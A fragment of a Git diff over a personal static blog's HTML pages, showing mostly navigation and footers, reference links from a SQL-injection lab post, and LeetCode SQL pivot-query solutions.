class="date"><i class="far fa-calendar-alt fa-fw"></i> 2018-06-13</div><div class="title">《计算机网络（英文版·第5版）》 The Physical Layer</div></div></a></div><div><a href="/2018/06/22/Notes/Computer%20Networks/The-Transport-Layer/" title="《计算机网络（英文版·第5版）》 The Transport Layer"><img class="cover" src="https://i.loli.net/2021/06/14/z9KUc1FV7eaD8pi.jpg" alt="cover"><div class="content is-center"><div class="date"><i class="far fa-calendar-alt fa-fw"></i> 2018-06-22</div><div class="title">《计算机网络（英文版·第5版）》 The Transport Layer</div></div></a></div><div><a href="/2018/06/15/Notes/Computer%20Networks/The-Network-Layer/" title="《计算机网络（英文版·第5版）》 The Network Layer"><img class="cover" src="https://i.loli.net/2021/06/14/z9KUc1FV7eaD8pi.jpg" alt="cover"><div class="content is-center"><div class="date"><i class="far fa-calendar-alt fa-fw"></i> 2018-06-15</div><div class="title">《计算机网络（英文版·第5版）》 The Network Layer</div></div></a></div></div></div><hr class="custom-hr"/><div id="post-comment"><div class="comment-head"><div class="comment-headline"><i class="fas fa-comments fa-fw"></i><span> 评论</span></div></div><div class="comment-wrap"><div><div id="waline-wrap"></div></div></div></div></div><div class="aside-content" id="aside-content"><div class="card-widget card-info"><div class="is-center"><div class="avatar-img"><img src="https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/avatar.jpg" onerror="this.onerror=null;this.src='https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/avatar_404.png'" alt="avatar"/></div><div class="author-info__name">Jckling</div><div class="author-info__description"></div></div><div class="card-info-data site-data is-center"><a href="/archives/"><div class="headline">文章</div><div class="length-num">124</div></a><a href="/tags/"><div class="headline">标签</div><div class="length-num">46</div></a><a href="/categories/"><div class="headline">分类</div><div class="length-num">9</div></a></div><a id="card-info-btn" target="_blank" rel="noopener" href="https://github.com/jckling"><i class="fab fa-github"></i><span>Follow Me</span></a></div><div class="card-widget card-announcement"><div class="item-headline"><i class="fas fa-bullhorn fa-shake"></i><span>公告</span></div><div class="announcement_content">欢迎访问本站 🥳 <br/>评论需要审核，请不要重复提交~</div></div><div class="sticky_layout"><div class="card-widget" id="card-toc"><div class="item-headline"><i class="fas fa-stream"></i><span>目录</span><span class="toc-percentage"></span></div><div class="toc-content"><ol class="toc"><li class="toc-item toc-level-1"><a class="toc-link" href="#DNS-%E2%80%94%E2%80%94-Domain-Name-System-%E5%9F%9F%E5%90%8D%E7%B3%BB%E7%BB%9F"><span class="toc-number">1.</span> <span class="toc-text">DNS —— Domain Name System, 域名系统</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#DNS-%E5%90%8D%E5%AD%97%E7%A9%BA%E9%97%B4"><span class="toc-number">1.1.</span> <span class="toc-text">DNS 名字空间</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%9F%9F%E5%90%8D"><span class="toc-number">1.2.</span> <span class="toc-text">域名</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%9F%9F%E5%90%8D%E8%B5%84%E6%BA%90%E8%AE%B0%E5%BD%95%EF%BC%88resource-record%EF%BC%89"><span class="toc-number">1.3.</span> <span class="toc-text">域名资源记录（resource record）</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%9F%9F%E5%90%8D%E6%9C%8D%E5%8A%A1%E5%99%A8"><span class="toc-number">1.4.</span> <span class="toc-text">域名服务器</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#13-%E4%B8%AA%E6%A0%B9%E5%9F%9F%E5%90%8D%E6%9C%8D%E5%8A%A1%E5%99%A8"><span class="toc-number">1.4.1.</span> <span class="toc-text">13 个根域名服务器</span></a></li></ol></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#Electronic-Mail"><span class="toc-number">2.</span> <span class="toc-text">Electronic Mail*</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E4%BD%93%E7%B3%BB%E7%BB%93%E6%9E%84%E5%92%8C%E6%9C%8D%E5%8A%A1"><span class="toc-number">2.1.</span> <span class="toc-text">体系结构和服务</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E7%94%A8%E6%88%B7%E4%BB%A3%E7%90%86"><span class="toc-number">2.2.</span> <span class="toc-text">用户代理</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E9%82%AE%E4%BB%B6%E6%A0%BC%E5%BC%8F"><span class="toc-number">2.3.</span> <span class="toc-text">邮件格式</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#MIME-%E2%80%94%E2%80%94-%E5%A4%9A%E7%94%A8%E9%80%94-Internet-%E9%82%AE%E4%BB%B6%E6%89%A9%E5%B1%95"><span class="toc-number">2.3.1.</span> <span class="toc-text">MIME —— 多用途 Internet 邮件扩展</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E9%82%AE%E4%BB%B6%E4%BC%A0%E9%80%81"><span class="toc-number">2.4.</span> <span class="toc-text">邮件传送</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%9C%80%E5%90%8E%E4%BC%A0%E9%80%92"><span class="toc-number">2.5.</span> <span class="toc-text">最后传递</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#IMAP-%E2%80%94%E2%80%94-Internet%E9%82%AE%E4%BB%B6%E8%AE%BF%E9%97%AE%E5%8D%8F%E8%AE%AE"><span class="toc-number">2.5.1.</span> <span class="toc-text">IMAP —— Internet邮件访问协议</span></a></li></ol></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#WWW-%E2%80%94%E2%80%94-World-Wide-Web"><span class="toc-number">3.</span> <span class="toc-text">WWW —— World Wide Web</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E4%BD%93%E7%B3%BB%E6%9E%B6%E6%9E%84%E6%A6%82%E8%BF%B0"><span class="toc-number">3.1.</span> <span class="toc-text">体系架构概述</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%AE%A2%E6%88%B7%E7%AB%AF"><span class="toc-number">3.1.1.</span> <span class="toc-text">客户端</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#MIME-%E7%B1%BB%E5%9E%8B"><span class="toc-number">3.1.2.</span> <span class="toc-text">MIME 类型</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%AB%AF"><span class="toc-number">3.1.3.</span> <span class="toc-text">服务器端</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#Cookie"><span class="toc-number">3.1.4.</span> <span class="toc-text">Cookie</span></a><ol class="toc-child"><li class="toc-item toc-level-4"><a class="toc-link" href="#Cookie-%E5%AD%97%E6%AE%B5"><span class="toc-number">3.1.4.1.</span> <span class="toc-text">Cookie 字段</span></a></li></ol></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E9%9D%99%E6%80%81-Web-%E9%A1%B5%E9%9D%A2"><span class="toc-number">3.2.</span> <span class="toc-text">静态 Web 页面</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%8A%A8%E6%80%81-Web-%E9%A1%B5%E9%9D%A2%E5%92%8C-Web-%E5%BA%94%E7%94%A8"><span class="toc-number">3.2.1.</span> <span class="toc-text">动态 Web 页面和 Web 应用*</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#HTTP-%E2%80%94%E2%80%94-%E8%B6%85%E6%96%87%E6%9C%AC%E4%BC%A0%E8%BE%93%E5%8D%8F%E8%AE%AE"><span class="toc-number">3.3.</span> <span class="toc-text">HTTP —— 超文本传输协议</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E8%AF%B7%E6%B1%82-%E5%93%8D%E5%BA%94%E6%A8%A1%E5%9E%8B"><span class="toc-number">3.3.1.</span> <span class="toc-text">请求-响应模型</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#HTTP-%E6%B6%88%E6%81%AF"><span class="toc-number">3.3.2.</span> <span class="toc-text">HTTP 消息</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%80%BB%E7%BB%93"><span class="toc-number">3.3.3.</span> <span class="toc-text">总结</span></a></li></ol></li></ol></li></ol></div></div><div class="card-widget card-recent-post"><div class="item-headline"><i class="fas fa-history"></i><span>最新文章</span></div><div class="aside-list"><div class="aside-list-item"><a class="thumbnail" href="/2024/02/24/Other/NVIDIA%20Omniverse%20Audio%20%E7%B3%BB%E5%88%97%E5%B7%A5%E5%85%B7%E4%BD%BF%E7%94%A8/" title="NVIDIA Omniverse Audio 系列工具使用"><img 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+</article><div class="post-copyright"><div class="post-copyright__author"><span class="post-copyright-meta"><i class="fas fa-circle-user fa-fw"></i>文章作者: </span><span class="post-copyright-info"><a target="_blank" rel="noopener" href="https://github.com/jckling">Jckling</a></span></div><div class="post-copyright__type"><span class="post-copyright-meta"><i class="fas fa-square-arrow-up-right fa-fw"></i>文章链接: </span><span class="post-copyright-info"><a href="https://jckling.github.io/2018/06/25/Notes/Computer%20Networks/The-Application-Layer/">https://jckling.github.io/2018/06/25/Notes/Computer Networks/The-Application-Layer/</a></span></div><div class="post-copyright__notice"><span class="post-copyright-meta"><i class="fas fa-circle-exclamation fa-fw"></i>版权声明: </span><span class="post-copyright-info">本博客所有文章除特别声明外，均采用 <a href="https://creativecommons.org/licenses/by-nc-sa/4.0/" target="_blank">CC BY-NC-SA 4.0</a> 许可协议。转载请注明来自 <a href="https://jckling.github.io" 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Layer"><img class="cover" src="https://i.loli.net/2021/06/14/z9KUc1FV7eaD8pi.jpg" alt="cover"><div class="content is-center"><div class="date"><i class="far fa-calendar-alt fa-fw"></i> 2018-06-22</div><div class="title">《计算机网络（英文版·第5版）》 The Transport Layer</div></div></a></div></div></div><hr class="custom-hr"/><div id="post-comment"><div class="comment-head"><div class="comment-headline"><i class="fas fa-comments fa-fw"></i><span> 评论</span></div></div><div class="comment-wrap"><div><div id="waline-wrap"></div></div></div></div></div><div class="aside-content" id="aside-content"><div class="card-widget card-info"><div class="is-center"><div class="avatar-img"><img src="https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/avatar.jpg" onerror="this.onerror=null;this.src='https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/avatar_404.png'" alt="avatar"/></div><div class="author-info__name">Jckling</div><div class="author-info__description"></div></div><div class="card-info-data site-data is-center"><a href="/archives/"><div class="headline">文章</div><div class="length-num">124</div></a><a href="/tags/"><div class="headline">标签</div><div class="length-num">46</div></a><a href="/categories/"><div class="headline">分类</div><div class="length-num">9</div></a></div><a id="card-info-btn" target="_blank" rel="noopener" href="https://github.com/jckling"><i class="fab fa-github"></i><span>Follow Me</span></a></div><div class="card-widget card-announcement"><div class="item-headline"><i class="fas fa-bullhorn fa-shake"></i><span>公告</span></div><div class="announcement_content">欢迎访问本站 🥳 <br/>评论需要审核，请不要重复提交~</div></div><div class="sticky_layout"><div class="card-widget" id="card-toc"><div class="item-headline"><i class="fas fa-stream"></i><span>目录</span><span class="toc-percentage"></span></div><div class="toc-content"><ol class="toc"><li class="toc-item toc-level-1"><a class="toc-link" href="#DNS-%E2%80%94%E2%80%94-Domain-Name-System-%E5%9F%9F%E5%90%8D%E7%B3%BB%E7%BB%9F"><span class="toc-number">1.</span> <span class="toc-text">DNS —— Domain Name System, 域名系统</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#DNS-%E5%90%8D%E5%AD%97%E7%A9%BA%E9%97%B4"><span class="toc-number">1.1.</span> <span class="toc-text">DNS 名字空间</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%9F%9F%E5%90%8D"><span class="toc-number">1.2.</span> <span class="toc-text">域名</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%9F%9F%E5%90%8D%E8%B5%84%E6%BA%90%E8%AE%B0%E5%BD%95%EF%BC%88resource-record%EF%BC%89"><span class="toc-number">1.3.</span> <span class="toc-text">域名资源记录（resource record）</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%9F%9F%E5%90%8D%E6%9C%8D%E5%8A%A1%E5%99%A8"><span class="toc-number">1.4.</span> <span class="toc-text">域名服务器</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#13-%E4%B8%AA%E6%A0%B9%E5%9F%9F%E5%90%8D%E6%9C%8D%E5%8A%A1%E5%99%A8"><span class="toc-number">1.4.1.</span> <span class="toc-text">13 个根域名服务器</span></a></li></ol></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#Electronic-Mail"><span class="toc-number">2.</span> <span class="toc-text">Electronic Mail*</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E4%BD%93%E7%B3%BB%E7%BB%93%E6%9E%84%E5%92%8C%E6%9C%8D%E5%8A%A1"><span class="toc-number">2.1.</span> <span class="toc-text">体系结构和服务</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E7%94%A8%E6%88%B7%E4%BB%A3%E7%90%86"><span class="toc-number">2.2.</span> <span class="toc-text">用户代理</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E9%82%AE%E4%BB%B6%E6%A0%BC%E5%BC%8F"><span class="toc-number">2.3.</span> <span class="toc-text">邮件格式</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#MIME-%E2%80%94%E2%80%94-%E5%A4%9A%E7%94%A8%E9%80%94-Internet-%E9%82%AE%E4%BB%B6%E6%89%A9%E5%B1%95"><span class="toc-number">2.3.1.</span> <span class="toc-text">MIME —— 多用途 Internet 邮件扩展</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E9%82%AE%E4%BB%B6%E4%BC%A0%E9%80%81"><span class="toc-number">2.4.</span> <span class="toc-text">邮件传送</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%9C%80%E5%90%8E%E4%BC%A0%E9%80%92"><span class="toc-number">2.5.</span> <span class="toc-text">最后传递</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#IMAP-%E2%80%94%E2%80%94-Internet%E9%82%AE%E4%BB%B6%E8%AE%BF%E9%97%AE%E5%8D%8F%E8%AE%AE"><span class="toc-number">2.5.1.</span> <span class="toc-text">IMAP —— Internet邮件访问协议</span></a></li></ol></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#WWW-%E2%80%94%E2%80%94-World-Wide-Web"><span class="toc-number">3.</span> <span class="toc-text">WWW —— World Wide Web</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E4%BD%93%E7%B3%BB%E6%9E%B6%E6%9E%84%E6%A6%82%E8%BF%B0"><span class="toc-number">3.1.</span> <span class="toc-text">体系架构概述</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%AE%A2%E6%88%B7%E7%AB%AF"><span class="toc-number">3.1.1.</span> <span class="toc-text">客户端</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#MIME-%E7%B1%BB%E5%9E%8B"><span class="toc-number">3.1.2.</span> <span class="toc-text">MIME 类型</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%AB%AF"><span class="toc-number">3.1.3.</span> <span class="toc-text">服务器端</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#Cookie"><span class="toc-number">3.1.4.</span> <span class="toc-text">Cookie</span></a><ol class="toc-child"><li class="toc-item toc-level-4"><a class="toc-link" href="#Cookie-%E5%AD%97%E6%AE%B5"><span class="toc-number">3.1.4.1.</span> <span class="toc-text">Cookie 字段</span></a></li></ol></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E9%9D%99%E6%80%81-Web-%E9%A1%B5%E9%9D%A2"><span class="toc-number">3.2.</span> <span class="toc-text">静态 Web 页面</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%8A%A8%E6%80%81-Web-%E9%A1%B5%E9%9D%A2%E5%92%8C-Web-%E5%BA%94%E7%94%A8"><span class="toc-number">3.2.1.</span> <span class="toc-text">动态 Web 页面和 Web 应用*</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#HTTP-%E2%80%94%E2%80%94-%E8%B6%85%E6%96%87%E6%9C%AC%E4%BC%A0%E8%BE%93%E5%8D%8F%E8%AE%AE"><span class="toc-number">3.3.</span> <span class="toc-text">HTTP —— 超文本传输协议</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E8%AF%B7%E6%B1%82-%E5%93%8D%E5%BA%94%E6%A8%A1%E5%9E%8B"><span class="toc-number">3.3.1.</span> <span class="toc-text">请求-响应模型</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#HTTP-%E6%B6%88%E6%81%AF"><span class="toc-number">3.3.2.</span> <span class="toc-text">HTTP 消息</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%80%BB%E7%BB%93"><span class="toc-number">3.3.3.</span> <span class="toc-text">总结</span></a></li></ol></li></ol></li></ol></div></div><div class="card-widget card-recent-post"><div class="item-headline"><i class="fas fa-history"></i><span>最新文章</span></div><div class="aside-list"><div class="aside-list-item"><a class="thumbnail" href="/2024/02/24/Other/NVIDIA%20Omniverse%20Audio%20%E7%B3%BB%E5%88%97%E5%B7%A5%E5%85%B7%E4%BD%BF%E7%94%A8/" title="NVIDIA Omniverse Audio 系列工具使用"><img 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-<meta property="article:modified_time" content="2024-05-21T10:02:48.268Z">
+<meta property="article:modified_time" content="2024-05-22T14:10:41.009Z">
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@@ -444,7 +444,7 @@ <h2 id="参阅"><a href="#参阅" class="headerlink" title="参阅"></a>参阅</
 <li><a target="_blank" rel="noopener" href="https://github.com/epinna/weevely3/wiki/Getting-Started">weevely3 Getting Started</a></li>
 <li><a target="_blank" rel="noopener" href="http://sqlmap.org/">sqlmap</a></li>
 </ul>
-</article><div class="post-copyright"><div class="post-copyright__author"><span class="post-copyright-meta"><i class="fas fa-circle-user fa-fw"></i>文章作者: </span><span class="post-copyright-info"><a target="_blank" rel="noopener" href="https://github.com/jckling">Jckling</a></span></div><div class="post-copyright__type"><span class="post-copyright-meta"><i class="fas fa-square-arrow-up-right fa-fw"></i>文章链接: </span><span class="post-copyright-info"><a href="https://jckling.github.io/2018/12/23/Security/PentesterLab/From%20SQL%20Injection%20to%20Shell/">https://jckling.github.io/2018/12/23/Security/PentesterLab/From SQL Injection to Shell/</a></span></div><div class="post-copyright__notice"><span class="post-copyright-meta"><i class="fas fa-circle-exclamation fa-fw"></i>版权声明: </span><span class="post-copyright-info">本博客所有文章除特别声明外，均采用 <a href="https://creativecommons.org/licenses/by-nc-sa/4.0/" target="_blank">CC BY-NC-SA 4.0</a> 许可协议。转载请注明来自 <a href="https://jckling.github.io" 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         set: (key, value, ttl) => {
@@ -291,7 +291,7 @@ <h1 id="1179-Reformat-Department-Table"><a href="#1179-Reformat-Department-Table
 <figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> id,</span><br><span class="line">    <span class="built_in">SUM</span>(IF(<span class="keyword">month</span><span class="operator">=</span><span class="string">&#x27;Jan&#x27;</span>, revenue, <span class="keyword">NULL</span>)) <span class="keyword">AS</span> Jan_Revenue,</span><br><span class="line">    <span class="built_in">SUM</span>(IF(<span class="keyword">month</span><span class="operator">=</span><span class="string">&#x27;Feb&#x27;</span>, revenue, <span class="keyword">NULL</span>)) <span class="keyword">AS</span> Feb_Revenue,</span><br><span class="line">    <span class="built_in">SUM</span>(IF(<span class="keyword">month</span><span class="operator">=</span><span class="string">&#x27;Mar&#x27;</span>, revenue, <span class="keyword">NULL</span>)) <span class="keyword">AS</span> Mar_Revenue,</span><br><span class="line">    <span class="built_in">SUM</span>(IF(<span class="keyword">month</span><span class="operator">=</span><span class="string">&#x27;Apr&#x27;</span>, revenue, <span class="keyword">NULL</span>)) <span class="keyword">AS</span> Apr_Revenue,</span><br><span class="line">    <span class="built_in">SUM</span>(IF(<span class="keyword">month</span><span class="operator">=</span><span class="string">&#x27;May&#x27;</span>, revenue, <span class="keyword">NULL</span>)) <span class="keyword">AS</span> May_Revenue,</span><br><span class="line">    <span class="built_in">SUM</span>(IF(<span class="keyword">month</span><span class="operator">=</span><span class="string">&#x27;Jun&#x27;</span>, revenue, <span class="keyword">NULL</span>)) <span class="keyword">AS</span> Jun_Revenue,</span><br><span class="line">    <span class="built_in">SUM</span>(IF(<span class="keyword">month</span><span class="operator">=</span><span class="string">&#x27;Jul&#x27;</span>, revenue, <span class="keyword">NULL</span>)) <span class="keyword">AS</span> Jul_Revenue,</span><br><span class="line">    <span class="built_in">SUM</span>(IF(<span class="keyword">month</span><span class="operator">=</span><span class="string">&#x27;Aug&#x27;</span>, revenue, <span class="keyword">NULL</span>)) <span class="keyword">AS</span> Aug_Revenue,</span><br><span class="line">    <span class="built_in">SUM</span>(IF(<span class="keyword">month</span><span class="operator">=</span><span class="string">&#x27;Sep&#x27;</span>, revenue, <span class="keyword">NULL</span>)) <span class="keyword">AS</span> Sep_Revenue,</span><br><span class="line">    <span class="built_in">SUM</span>(IF(<span class="keyword">month</span><span class="operator">=</span><span class="string">&#x27;Oct&#x27;</span>, revenue, <span class="keyword">NULL</span>)) <span class="keyword">AS</span> Oct_Revenue,</span><br><span class="line">    <span class="built_in">SUM</span>(IF(<span class="keyword">month</span><span class="operator">=</span><span class="string">&#x27;Nov&#x27;</span>, revenue, <span class="keyword">NULL</span>)) <span class="keyword">AS</span> Nov_Revenue,</span><br><span class="line">    <span class="built_in">SUM</span>(IF(<span class="keyword">month</span><span class="operator">=</span><span class="string">&#x27;Dec&#x27;</span>, revenue, <span class="keyword">NULL</span>)) <span class="keyword">AS</span> Dec_Revenue</span><br><span class="line"><span class="keyword">FROM</span> Department</span><br><span class="line"><span class="keyword">GROUP</span> <span class="keyword">BY</span> id;</span><br></pre></td></tr></table></figure>
 
 <p>也可以使用 <code>CASE</code> 语句。</p>
-<figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> id,</span><br><span class="line">    <span class="built_in">SUM</span>(<span class="keyword">CASE</span> <span class="keyword">month</span> <span class="keyword">WHEN</span> <span class="string">&#x27;Jan&#x27;</span> <span class="keyword">THEN</span> revenue <span class="keyword">END</span>) <span class="keyword">AS</span> Jan_Revenue,</span><br><span class="line">    <span class="built_in">SUM</span>(<span class="keyword">CASE</span> <span class="keyword">month</span> <span class="keyword">WHEN</span> <span class="string">&#x27;Feb&#x27;</span> <span class="keyword">THEN</span> revenue <span class="keyword">END</span>) <span class="keyword">AS</span> Feb_Revenue,</span><br><span class="line">    <span class="built_in">SUM</span>(<span class="keyword">CASE</span> <span class="keyword">month</span> <span class="keyword">WHEN</span> <span class="string">&#x27;Mar&#x27;</span> <span class="keyword">THEN</span> revenue <span class="keyword">END</span>) <span class="keyword">AS</span> Mar_Revenue,</span><br><span class="line">    <span class="built_in">SUM</span>(<span class="keyword">CASE</span> <span class="keyword">month</span> <span class="keyword">WHEN</span> <span class="string">&#x27;Apr&#x27;</span> <span class="keyword">THEN</span> revenue <span class="keyword">END</span>) <span class="keyword">AS</span> Apr_Revenue,</span><br><span class="line">    <span class="built_in">SUM</span>(<span class="keyword">CASE</span> <span class="keyword">month</span> <span class="keyword">WHEN</span> <span class="string">&#x27;May&#x27;</span> <span class="keyword">THEN</span> revenue <span class="keyword">END</span>) <span class="keyword">AS</span> May_Revenue,</span><br><span class="line">    <span class="built_in">SUM</span>(<span class="keyword">CASE</span> <span class="keyword">month</span> <span class="keyword">WHEN</span> <span class="string">&#x27;Jun&#x27;</span> <span class="keyword">THEN</span> revenue <span class="keyword">END</span>) <span class="keyword">AS</span> Jun_Revenue,</span><br><span class="line">    <span class="built_in">SUM</span>(<span class="keyword">CASE</span> <span class="keyword">month</span> <span class="keyword">WHEN</span> <span class="string">&#x27;Jul&#x27;</span> <span class="keyword">THEN</span> revenue <span class="keyword">END</span>) <span class="keyword">AS</span> Jul_Revenue,</span><br><span class="line">    <span class="built_in">SUM</span>(<span class="keyword">CASE</span> <span class="keyword">month</span> <span class="keyword">WHEN</span> <span class="string">&#x27;Aug&#x27;</span> <span class="keyword">THEN</span> revenue <span class="keyword">END</span>) <span class="keyword">AS</span> Aug_Revenue,</span><br><span class="line">    <span class="built_in">SUM</span>(<span class="keyword">CASE</span> <span class="keyword">month</span> <span class="keyword">WHEN</span> <span class="string">&#x27;Sep&#x27;</span> <span class="keyword">THEN</span> revenue <span class="keyword">END</span>) <span class="keyword">AS</span> Sep_Revenue,</span><br><span class="line">    <span class="built_in">SUM</span>(<span class="keyword">CASE</span> <span class="keyword">month</span> <span class="keyword">WHEN</span> <span class="string">&#x27;Oct&#x27;</span> <span class="keyword">THEN</span> revenue <span class="keyword">END</span>) <span class="keyword">AS</span> Oct_Revenue,</span><br><span class="line">    <span class="built_in">SUM</span>(<span class="keyword">CASE</span> <span class="keyword">month</span> <span class="keyword">WHEN</span> <span class="string">&#x27;Nov&#x27;</span> <span class="keyword">THEN</span> revenue <span class="keyword">END</span>) <span class="keyword">AS</span> Nov_Revenue,</span><br><span class="line">    <span class="built_in">SUM</span>(<span class="keyword">CASE</span> <span class="keyword">month</span> <span class="keyword">WHEN</span> <span class="string">&#x27;Dec&#x27;</span> <span class="keyword">THEN</span> revenue <span class="keyword">END</span>) <span class="keyword">AS</span> Dec_Revenue</span><br><span class="line"><span class="keyword">FROM</span> Department</span><br><span class="line"><span class="keyword">GROUP</span> <span class="keyword">BY</span> id;</span><br></pre></td></tr></table></figure></article><div class="post-copyright"><div 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Combine Two Tables</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#176-Second-Highest-Salary"><span class="toc-text">176. Second Highest Salary</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#181-Employees-Earning-More-Than-Their-Managers"><span class="toc-text">181. Employees Earning More Than Their Managers</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#182-Duplicate-Emails"><span class="toc-text">182. Duplicate Emails</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#183-Customers-Who-Never-Order"><span class="toc-text">183. Customers Who Never Order</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#196-Delete-Duplicate-Emails"><span class="toc-text">196. Delete Duplicate Emails</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#197-Rising-Temperature"><span class="toc-text">197. Rising Temperature</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#595-Big-Countries"><span class="toc-text">595. Big Countries</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#596-Classes-More-Than-5-Students"><span class="toc-text">596. Classes More Than 5 Students</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#620-Not-Boring-Movies"><span class="toc-text">620. Not Boring Movies</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#627-Swap-Salary"><span class="toc-text">627. Swap Salary</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#1179-Reformat-Department-Table"><span class="toc-text">1179. Reformat Department Table</span></a></li></ol></div></div><div class="card-widget card-recent-post"><div class="item-headline"><i class="fas fa-history"></i><span>最新文章</span></div><div class="aside-list"><div class="aside-list-item"><a class="thumbnail" href="/2024/02/24/Other/NVIDIA%20Omniverse%20Audio%20%E7%B3%BB%E5%88%97%E5%B7%A5%E5%85%B7%E4%BD%BF%E7%94%A8/" title="NVIDIA Omniverse Audio 系列工具使用"><img src="https://www.nvidia.cn/content/dam/en-zz/Solutions/about-nvidia/logo-and-brand/02-nvidia-logo-color-blk-500x200-4c25-p@2x.png" onerror="this.onerror=null;this.src='https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/404.jpg'" alt="NVIDIA Omniverse Audio 系列工具使用"/></a><div class="content"><a class="title" href="/2024/02/24/Other/NVIDIA%20Omniverse%20Audio%20%E7%B3%BB%E5%88%97%E5%B7%A5%E5%85%B7%E4%BD%BF%E7%94%A8/" title="NVIDIA Omniverse Audio 系列工具使用">NVIDIA Omniverse Audio 系列工具使用</a><time datetime="2024-02-24T04:25:45.000Z" title="发表于 2024-02-24 12:25:45">2024-02-24</time></div></div><div class="aside-list-item"><a class="thumbnail" href="/2024/01/24/Other/%E6%90%AD%E5%BB%BA%E6%9C%AC%E5%9C%B0%20Gitea%20Actions/" title="搭建本地 Gitea Actions"><img src="https://about.gitea.com/gitea-text.svg" onerror="this.onerror=null;this.src='https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/404.jpg'" alt="搭建本地 Gitea Actions"/></a><div class="content"><a class="title" href="/2024/01/24/Other/%E6%90%AD%E5%BB%BA%E6%9C%AC%E5%9C%B0%20Gitea%20Actions/" 